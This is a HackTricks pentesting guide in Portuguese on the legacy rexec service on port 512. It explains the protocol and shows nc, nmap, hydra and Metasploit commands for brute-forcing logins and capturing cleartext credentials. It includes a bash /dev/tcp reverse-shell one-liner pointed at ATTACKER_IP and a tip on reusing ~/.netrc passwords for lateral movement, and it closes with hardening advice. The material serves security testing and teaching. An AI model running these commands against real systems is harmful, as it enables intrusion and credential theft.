hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
4.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## Informações Básicas
Rexec (remote **exec**) é um dos serviços originais da suíte Berkeley *r* (junto com `rlogin`, `rsh`, …). Ele fornece uma capacidade de **execução remota de comandos** **autenticada apenas com um nome de usuário e senha em texto claro**. O protocolo foi definido no início dos anos 1980 (veja RFC 1060) e hoje é considerado **inseguro por design**. No entanto, ainda está habilitado por padrão em alguns equipamentos legados UNIX / conectados à rede e ocasionalmente aparece durante pentests internos.
**Porta Padrão:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 Todo o tráfego incluindo credenciais é transmitido **não criptografado**. Qualquer um com a capacidade de monitorar a rede pode recuperar o nome de usuário, senha e comando.
### Visão rápida do protocolo
1. O cliente se conecta ao TCP 512.
2. O cliente envia três strings **terminadas em NUL**:
* o número da porta (como ASCII) onde deseja receber stdout/stderr (geralmente `0`),
* o **nome de usuário**,
* a **senha**.
3. Uma string final terminada em NUL com o **comando** a ser executado é enviada.
4. O servidor responde com um único byte de status de 8 bits (0 = sucesso, `1` = falha) seguido pela saída do comando.
Isso significa que você pode reproduzir a troca com nada mais do que `echo -e` e `nc`:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
Se as credenciais forem válidas, você receberá a saída de `id` diretamente na mesma conexão.
### Uso manual com o cliente
Muitas distribuições Linux ainda incluem o cliente legado dentro do pacote **inetutils-rexec** / **rsh-client**:
```bash
rexec -l user -p password <target> "uname -a"
```
Se `-p` for omitido, o cliente solicitará interativamente a senha (visível na rede em texto claro!).
---
## Enumeração & Força Bruta
### [**Força Bruta**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
O `rexec-brute` NSE usa o protocolo descrito acima para tentar credenciais muito rapidamente.
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` tem um módulo **rexec** dedicado e continua sendo o bruteforcer offline mais rápido. `medusa` (`-M REXEC`) e `ncrack` (módulo `rexec`) podem ser usados da mesma forma.
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
O módulo irá gerar um shell com sucesso e armazenar as credenciais no banco de dados.
---
## Captura de credenciais
Como tudo está em texto claro, **as capturas de rede são inestimáveis**. Com uma cópia do tráfego, você pode extrair credenciais sem tocar no alvo:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark, ative *Decode As …​* TCP 512 → REXEC para visualizar os campos analisados de forma adequada.)
---
## Dicas de Pós-Exploração
* Comandos são executados com os privilégios do usuário fornecido. Se `/etc/pam.d/rexec` estiver mal configurado (por exemplo, `pam_rootok`), shells de root são às vezes possíveis.
* Rexec ignora o shell do usuário e executa o comando via `/bin/sh -c <cmd>`. Você pode, portanto, usar truques típicos de escape de shell (`;`, ``$( )``, crase) para encadear múltiplos comandos ou gerar shells reversos:
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* Senhas são frequentemente armazenadas em **~/.netrc** em outros sistemas; se você comprometer um host, pode reutilizá-las para movimentação lateral.
---
## Fortalecimento / Detecção
* **Não exponha rexec**; substitua-o por SSH. Praticamente todos os *inetd* superservers modernos comentam o serviço por padrão.
* Se você precisar mantê-lo, restrinja o acesso com TCP wrappers (`/etc/hosts.allow`) ou regras de firewall e imponha senhas fortes por conta.
* Monitore o tráfego para :512 e para lançamentos do processo `rexecd`. Uma única captura de pacote é suficiente para detectar uma comprometimento.
* Desative `rexec`, `rlogin`, `rsh` juntos eles compartilham a maior parte do mesmo código e fraquezas.
---
## Referências
* Documentação do Nmap NSE `rexec-brute` [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Módulo Rapid7 Metasploit `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}